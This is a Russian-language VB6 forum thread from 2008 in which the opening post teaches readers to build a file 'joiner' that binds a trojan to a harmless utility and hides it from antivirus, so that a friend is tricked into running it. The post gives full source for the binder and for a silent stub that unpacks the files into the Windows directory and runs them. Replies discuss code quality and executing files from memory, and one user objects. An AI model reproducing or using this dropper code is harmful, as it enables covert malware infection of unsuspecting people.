Visual Basic, .NET, ASP, VBScript
 

   
   
     

Форум - Обсуждение статей

Страница: 1 | 2 | 3 |

 

  Вопрос: Моя статейка Добавлено: 26.10.08 14:30  

Автор вопроса:  VBif
Создание простейшего джойнера на VB6 (26.10.2008)
Джойнер – программа, предназначенная для объединения двух и более файлов в один, незаменимый помощник хакера. Допустим, у нас есть полезная утилита, которую попросил друг. Через неё мы хотим закинуть на его комп трояна. При помощи джойнера объединяем её со своим трояном и вуаля! Друг врятли что либо заподозрит , разница только в размере файла. Есть множество бесплатных джойнеров в интернете, таких как, BEJoiner, GBinder , Cactus Joiner. Но есть одно большое мерзкое неудобство – файлы, склеенные джойнерами из интернета легко палятся любым антивирусом. Выходят новые версии, однако каждая неуспевает прожить больше месяца. Самый простой способ решить эту проблему – написать свой джойнер. В этой статье я опишу процесс его создания на VB6.
Это не мануал по бэйсику, так что если вы незнакомы с основами этого языка а также со структурой файлов, этот материал не для вас. Мануал написан мной для обучения, в ознакомительных целях, использовать его для решения других задач запрещается, ответственность за совершение возможных злодеяний, совершённых с помощью него лежит только на вас! Это на всякий случай, классика=)
Программа будет состоять из двух частей. Первая, непосредственно сам джойнер, который занимается склейкой, вторая будет заниматься распаковкой самой себя. Первая прога будет записывать код второй части в начало файла, затем переменную с номерами байтов, где начинаются остальные файлы, затем их код. Во время запуска готового файла будет выполнятся код второй части, она сама себя распакует в нужное место, запустит программу1 и трояна в скрытом режиме. Нужным местом пусть будет директория виндоус.
И так начнём.
1 часть
Создадим проект с формой, туда добавим 4 текстбокса. Они пойдут вряд по вертикали, к каждому текстбоксу сделайте метку(Label) : “Имя файла 1”, “Имя файла2”, “Имя файла3”, “Конечный результат”. Склеивать будем 3 файла, ибо если вы и троян писали на бэйсике =) , вам понадобится файл winsock.ocx для работы с сокетами. На вашем компе он есть и прописан где следует, на машине жертвы его скорей всего нет, придётся прикладывать вместе с трояном. Внизу добавьте кнопку “Склеить”. Исходные имена не меняйте.
Объявим структуру из трёх переменных long(номера байтов)
Private Type Data
Num1 As Long
Num2 As Long
Num3 As Long
End Type
Dim my As Data
И сразу переменную my. Это номера байтов, где будут хранится файлы, я описал выше, зачем это нужно.
Теперь кнопка:
Private Sub Command1_Click()
Dim File1 As Byte
Переменная будет служить для копирования кода файла по байту. Кстати, если весить файл будет мегабайт или больше склеивание будет очень длительным. Это уже претензии к бэйсику.

Open Text4.Text For Binary As 1 Len = 1
Open Text1.Text For Binary As 2 Len = 1
Open Text2.Text For Binary As 3 Len = 1
Open Text3.Text For Binary As 4 Len = 1
Open "C:\Joiner.exe" For Binary As 5 Len = 1
Открываем для редактирования 5 файлов. Файл для конечного результата, первый для склеивания, второй и третий. Последний – это та самая вторая часть, которая будет заниматься самораспаковкой и которую мы положим в начало файла. Позже сохраним её C:\Joiner.exe, когда напишем.
For i = 1 To FileLen("C:\Joiner.exe")
Get 5, i, File1
Put 1, i, File1
Next i
Close 5
При помощи цикла копируем её код в начало файла 1.
my.Num1 = 20481 + Len(my)
my.Num2 = my.Num1 + FileLen(Text2.Text)
my.Num3 = my.Num2 + FileLen(Text3.Text)
Вычисляем значение переменной my. 20480 – это размер программы распаковщика(второй части), я уже давно скомпилировал её и замерил. Стало быть первый байт второго файла будет располагаться в 20481 и так далее до Num2. Как я вычеслил Num2 и Num3 думаю, и так понятно.
Put 1, 20481, my
Записываем в файл.
For o = my.Num1 To my.Num2 - 1
Get 2, o - my.Num1 + 1, File1
Put 1, o, File1
Next o
Close 2
Тоже самое, только с файлом для склейки 1.
For r = my.Num2 To my.Num3 - 1
Get 3, r - my.Num2 + 1, File1
Put 1, r, File1
Next r
Close 3
For n = my.Num3 To FileLen(Text3.Text) + my.Num3
Get 4, n - my.Num3 + 1, File1
Put 1, n, File1
Next n
Close 4
Ну и с остальными двумя.
Close 1
End Sub
Закрываем конечный файл, и всё.
Эта часть программы готова, для удобства заполнения текстовых полей можно добавить common dialog. Он на панельке сначала не отображается, можете найти его в компонентах Microsoft common dialog controls 6.0 Назовите элемент CD, в свойстве Filter напишите “Все файлы | *.*” без ковычек. К каждому текстбоксу добавьте по кнопке, код:
Private Sub Command2_Click()
CD.ShowOpen
Text1.Text = CD.FileName
End Sub

Private Sub Command3_Click()
CD.ShowOpen
Text2.Text = CD.FileName
End Sub

Private Sub Command4_Click()
CD.ShowOpen
Text3.Text = CD.FileName
End Sub
Первая часть готова.
2 часть
Создадим вторую часть. Она будет скрытной, никакого интерфейся не нужно. Форму удалите, добавьте модуль, в нём sub main.
Private Type Data
Num1 As Long
Num2 As Long
Num3 As Long
End Type
Это тот же тип, что и в первой программе он нам понадобится для считывания данных.
В sub main объявите:
On Error Resume Next
Dim my As Data
Dim File1 As Byte
Первая строка значит, что в случае ошибки никаких сообщений об ошибке не будет)) Троян не может установить подключение, адрес ин юз)))
Open App.Path & "\" & App.EXEName & ".exe" For Binary As 1 Len = 1
Open Environ("windir") & "\" & App.EXEName & ".exe" For Binary As 2 Len = 1
Open Environ("windir") & "\" & "Func1.exe" For Binary As 3 Len = 1
Open Environ("windir") & "\" & "Winsock.ocx" For Binary As 4 Len = 1
Открываем 4 файла: себя и ещё 3 для распаковки. Environ("windir") – это директория винды.
Get 1, 20481, my
'Извлекаем и запускаем 1 файл
For i = my.Num1 To my.Num2 - 1
Get 1, i, File1
Put 2, i - my.Num1 + 1, File1
Next i
Close 2
Shell Environ("windir") & "\" & App.EXEName & ".exe"
'Извлекаем и запускаем 2 файл
For b = my.Num2 To my.Num3 - 1
Get 1, b, File1
Put 3, b - my.Num2 + 1, File1
Next b
Close 3
Shell Environ("windir") & "\" & "Func1.exe"
'Извлекаем 3 файл
For c = my.Num3 To FileLen(App.Path & "\" & App.EXEName & ".exe")
Get 1, c, File1
Put 4, c - my.Num3 + 1, File1
Next c
Close 4
Close 1
Писать тут комментарии мне чёто стало лениво. И так всё понятно, что тут тоже самое, что и в первом случае, только наоборот. Каждый цикл запускается с первого байта файла до последнего. Первые два файла запускаются (программа и троян), третий сохраняется под именем WINSOCK.OCX Ещё до склеивания этот файл можно сделать скрытым.
Всё, теперь кидаем вторую часть в “C:\Joiner.exe” и запускаем первую.
Запуск
Откроем первую часть программы, в текстбоксы введём:
D:\windows\calc.exe
D:\windows\notepad.exe
И в третий чё хотите, можно картинку какую-нить. В четвёртый “C:\Ypaa.exe”
Жмём склеить, а затем идём в корневой каталог диска C, запускаем ура и радуемся. Если вы всё сделали правильно на экране появятся калькулятор и “безымянный”. В папке windows можно обнаружить файл winsock.ocx. Я незнаю что там, смотря что вы указали.

VBif

  Ответы Всего ответов: 34  

Номер ответа: 1
Автор ответа:
 User Unknown



Вечный Юзер!

ICQ: uu@jabber.cz 

Вопросов: 120
Ответов: 3302
 Профиль | | #1 Добавлено: 26.10.08 14:41
А теперь ещё раз, только с использованием тега Код.
Номер ответа: 2
Автор ответа:
 VBif



Вопросов: 1
Ответов: 13
 Профиль | | #2 Добавлено: 26.10.08 15:47
нунах долго чёто. Я это из ворда копировал
Номер ответа: 3
Автор ответа:
 



Администратор

ICQ: 278109632 

Вопросов: 42
Ответов: 3949
 Web-сайт: domkratt.com
 Профиль | | #3
Добавлено: 26.10.08 15:53
1. Глупо написано.
2. Глупая реализация.
ИМХО
Номер ответа: 4
Автор ответа:
 VBif



Вопросов: 1
Ответов: 13
 Профиль | | #4 Добавлено: 26.10.08 16:04
Скажи пожалуйста как сделать лучше
Номер ответа: 5
Автор ответа:
 



Администратор

ICQ: 278109632 

Вопросов: 42
Ответов: 3949
 Web-сайт: domkratt.com
 Профиль | | #5
Добавлено: 26.10.08 16:09
Жди ответную статью =)
Номер ответа: 6
Автор ответа:
 VBif



Вопросов: 1
Ответов: 13
 Профиль | | #6 Добавлено: 26.10.08 16:15
О круто ))
Номер ответа: 7
Автор ответа:
 s12



Вопросов: 24
Ответов: 363
 Профиль | | #7 Добавлено: 26.10.08 17:01
Executioner пишет:
1. Глупо написано.
2. Глупая реализация.
ИМХО

Ну человек старался... немножко =)

Я бы использовал апи для работы с файлами. А больше, по-сути здесь ничего интересного, вот если бы еще продемонстрировали запуск одного приложения из другого было бы круто.
Номер ответа: 8
Автор ответа:
 EROS



Вопросов: 58
Ответов: 4255
 Профиль | | #8 Добавлено: 26.10.08 17:14
Мда... долго думал..
Умники, Вы еще напищите руководство по созданию вирусов (нескольких видов: троянов, червей и т.д.) и в совокупности с этой статьей получится шикарное пособие для начинающих кулхацкеров. Мало что ли дерьма всякого на комп из инета лезет, так вы еще инструкции по обходу антивирей пишете..
Номер ответа: 9
Автор ответа:
 VBif



Вопросов: 1
Ответов: 13
 Профиль | | #9 Добавлено: 26.10.08 17:20
EROS
  не хочешь - не читай. Программирование интересная штука, если в интернете появились вирусы, это не значит, что его нужно запретить.
S12
  API помоему тут особо не нужен. А как понять запуск одного приложения из другого?
Номер ответа: 10
Автор ответа:
 



Администратор

ICQ: 278109632 

Вопросов: 42
Ответов: 3949
 Web-сайт: domkratt.com
 Профиль | | #10
Добавлено: 26.10.08 17:25
EROS, джойнеры не только в плохих целях юзают.
Номер ответа: 11
Автор ответа:
 s12



Вопросов: 24
Ответов: 363
 Профиль | | #11 Добавлено: 26.10.08 18:22
VBif пишет:
API помоему тут особо не нужен
Кстати, если весить файл будет мегабайт или больше склеивание будет очень длительным. Это уже претензии к бэйсику.

VBif пишет:
А как понять запуск одного приложения из другого?

Бинарный код пихается в переменную типа строка, и запускается прямо из строки.

EROS:
На вб толковый вирус написать трудно, а для общего развития очень полезно маленько побаловаться =).
Номер ответа: 12
Автор ответа:
 



Администратор

ICQ: 278109632 

Вопросов: 42
Ответов: 3949
 Web-сайт: domkratt.com
 Профиль | | #12
Добавлено: 26.10.08 18:33
s12 пишет:
Бинарный код пихается в переменную типа строка, и запускается прямо из строки.

Глупости не говори.
Номер ответа: 13
Автор ответа:
 VBif



Вопросов: 1
Ответов: 13
 Профиль | | #13 Добавлено: 26.10.08 18:48
А есть способ запустить исполняемый файл прямо из памяти, не сохраняя на винт?
Номер ответа: 14
Автор ответа:
 VBif



Вопросов: 1
Ответов: 13
 Профиль | | #14 Добавлено: 26.10.08 18:53
На вб толковый вирус написать трудно, а для общего развития очень полезно маленько побаловаться =).


 На бэйсике можно написать замечательный троян и не менее замечательный вирус.
Номер ответа: 15
Автор ответа:
 



Администратор

ICQ: 278109632 

Вопросов: 42
Ответов: 3949
 Web-сайт: domkratt.com
 Профиль | | #15
Добавлено: 26.10.08 19:13
VBif пишет:
А есть способ запустить исполняемый файл прямо из памяти, не сохраняя на винт?

Да.

VBif пишет:
На бэйсике можно написать замечательный троян и не менее замечательный вирус.

Заблуждение. На бейсике нельзя писать зверей. Они слишком много весят и требуют msvbvm60.dll. Да и низкоуровневые трюки не сделаешь на нем. Ни толковый троян, ни тем более нормальный вирус на васике не неписать.

Страница: 1 | 2 | 3 |

Поиск по форуму



© Copyright 2002-2011 VBNet.RU | Пишите нам